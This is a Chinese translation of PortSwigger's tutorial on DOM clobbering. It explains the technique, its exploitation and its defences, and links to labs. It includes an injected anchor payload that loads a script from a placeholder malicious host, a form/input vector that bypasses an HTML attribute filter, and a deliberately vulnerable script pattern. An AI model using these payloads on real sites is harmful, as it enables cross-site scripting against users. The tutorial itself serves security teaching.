 DOM clobbering
DOM clobbering
  翻译
原文:https://portswigger.net/web-security/dom-based/dom-clobbering
- name: 翻译
  desc: 原文:https://portswigger.net/web-security/dom-based/dom-clobbering
  bgColor: '#F0DFB1'
  textColor: 'green'
2
3
4
# DOM clobbering
在本节中,我们将描述什么是 DOM clobbering,演示如何使用 clobbering 技术来利用 DOM 漏洞,并提供一些减少 DOM clobbering 攻击的建议和方法。
# 1DOM clobbering是什么?
DOM clobbering 是一种将 HTML 注入到网页中,以操纵 DOM 并最终改变页面上 JavaScript 行为的技术。DOM clobbering 在无法利用 XSS 的情况下特别有用,你可以在属性id或name被 HTML 过滤器列入白名单的页面上控制某些 HTML。最常见的 DOM clobbering 形式是使用锚元素来覆盖全局变量,然后应用程序以不安全的方式使用该变量,例如生成动态 URL 脚本。
术语 clobbering 来自这样一个事实,即你正在 “覆盖” 对象的全局变量或属性,并使用 DOM 节点或 HTML 集合来覆盖它。例如,你可以使用 DOM 对象覆盖其他 JavaScript 对象,并利用不安全的名称(如submit)来干扰表单中的真实submit()函数。
# 2如何利用DOM clobbering漏洞
JavaScript 开发人员使用的一个常见模式是:
var someObject = window.someObject || {};
如果你可以控制页面上的某些 HTML,则可以使用 DOM 节点(如锚点)来覆盖someObject引用。请考虑以下代码:
<script>
    window.onload = function(){
        let someObject = window.someObject || {};
        let script = document.createElement('script');
        script.src = someObject.url;
        document.body.appendChild(script);
    };
</script>
2
3
4
5
6
7
8
要利用此易受攻击的代码,你可以注入以下 HTML 以使用锚元素来覆盖someObject引用:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>
由于这两个锚点使用了相同的 ID,因此 DOM 将它们分组在一个 DOM 集合中。随后,DOM clobbering 向量会使用这个 DOM 集合来覆盖someObject引用。在最后一个锚点元素上使用name属性,以便覆盖指向外部脚本的someObject对象中的url属性。
- name: 实验室-专家
  desc: 利用DOM clobbering造成XSS >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering
  bgColor: '#001350'
  textColor: '#d112fe'
2
3
4
5
6
另一种常见的技术是,将form元素与诸如input之类的元素结合使用,以清除 DOM 属性。例如,通过覆盖attributes属性,可以绕过使用了该属性的客户端过滤器。尽管过滤器会枚举attributes属性,但它实际上不会清除任何内容,因为该属性已被 DOM 节点覆盖。因此,一些通常会被过滤掉的恶意属性,此时你将能够将其注入。例如,考虑以下注入:
<form onclick=alert(1)><input id=attributes>Click me
在这种情况下,客户端过滤器将遍历 DOM,直到遇到一个被列入白名单的form元素。通常,过滤器会遍历form元素的attributes属性,并删除任何列入黑名单的属性值。但是,由于attributes属性已经被input元素覆盖,因此过滤器将改为遍历input元素。由于input元素的长度未被定义,因此不满足过滤器的for循环条件(例如i<element.attributes.length),过滤器只是简单的移动到下一个元素。这导致过滤器完全忽略了onclick事件,随后允许在浏览器中调用alert()函数。
- name: 实验室-专家
  desc: 覆盖DOM属性以绕过HTML过滤器 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters
  bgColor: '#001350'
  textColor: '#d112fe'
2
3
4
5
6
# 3如何防范DOM clobbering攻击
用最简单的话来说,你可以通过实现检查功能来防止 DOM clobbering 攻击,以确保对象或函数符合你的预期。例如,你可以检查 DOM 节点的attributes属性是否是NamedNodeMap的实例。这可以确保当前属性确实是一个attributes属性,而不是一个被覆盖的 HTML 元素。
此外,在编写代码时,你还应避免将逻辑 OR 运算符||和全局变量结合使用,因为这可能会导致 DOM clobbering 漏洞。
总结:
- 检查对象和函数是否合法。如果你想过滤 DOM,请确保被检查的对象或函数不是一个 DOM 节点。
- 避免错误的代码格式。应避免将全局变量与逻辑 OR 运算符结合使用。
- 使用经过良好测试的库,例如 DOMPurify,该库可解决 DOM clobbering 漏洞。
 
 